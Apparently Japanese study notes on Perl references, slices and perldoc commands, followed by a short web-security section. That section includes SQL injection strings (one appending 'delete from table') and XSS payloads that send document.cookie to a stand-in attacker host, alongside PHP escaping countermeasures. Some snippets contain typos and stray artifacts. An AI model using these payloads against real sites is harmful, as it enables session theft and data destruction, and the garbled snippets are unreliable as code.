$scalar = "scalar";
@array = ('array0','array1');
%hash = (key1=>'value1', key2=>'value2');

• 上記の変数のリファレンスをスカラ変数に設定する

$scalarref=￥$scalar;
$arrayref=￥@array;
$hashref=￥%hash;

• リファレンスを元の型に戻す

$scalar_org=$$scalarref;
@array_org=@$arrayref;
%hash_org=%$hashref;

• 無名配列と無名ハッシュの設定方法

$arrayref = ['array0', 'array1'];
$hashref = {key1=>'value1', key2=>'value2'};

• デリファレンス演算子を使用して値を取り出す

$arrayref->[0]; #array0
$hashref->{key2}; #value2

• ちょっと複雑なデータ構造

@array=(['item0','item1','item2'],
['item3','item4','item5']);

@{array[1]}; #@$arrayref : ['item3','item4','item5']
${array[1]}[2]; #item5
$array[1]->[2]; #item5
$array[1][2]; #item5

• 配列とハッシュのスライス

@array=('item0','item1','item2');
#変数は配列のまま要素を指定 ('item1','item2')
@array_slice=@array[1,2];
%hash=(key1=>'val1',key2>'val2',key3=>'val3');
@array_slice=@hash{key1,key3}; #('val1','val3')
@keys = qw(key1 key3);
@array_slice=@hash{@keys};  #('val1','val3')

> perl -v

• 組み込み関数一覧を表示する

> perldoc perlfunc

• ドキュメントの確認方法

> perldoc -f shift

• 文法のチェック

> perl -cw test.pl

• 冒頭に必ずつける

use strict; #厳密なプログラムチェック
use warnings; #詳細な警告

例１（SQL）：
0 or 1 /*(コメントアウト文）

例２（SQL）：
0 or 1; delete from table /*

例（PHP）：
"SELECT COUNT(*) FROM bbs
WHERE id='".intval($_POST["id"]).
"' AND pass<>'".addslashes($_POST["pass"])."'"

例(JavaScript)：
１）http://target/index.php?id=
＜ｓｃｒｉｐｔ＞document.localtion='http://akui/?'+document.cookie;
＜/ｓｃｒｉｐｔ＞
２）タグなしパターン
http://target/indexphp/"
onmouseover="document.location='http:akui/?'+document.cookie;/

例(PHP)：
１）echo htmlspecialchars($row['name'],ENT_QUOTES);
２）ＩＥのバグでjavascriptの間に制御文字が入ってもスクリプトの開始と
みなすため、ブラックリスト法では対処が不十分
preg_replace('/javascript/i', '',
preg_replace('/[x00-x20x22x27]/', '', $url));

例(JavaScript)：
localtion.href="http://xxx" mce_href="http://xxx"         ;

例(PHP)：
echo htmlspecialchars($row['name'],ENT_QUOTES);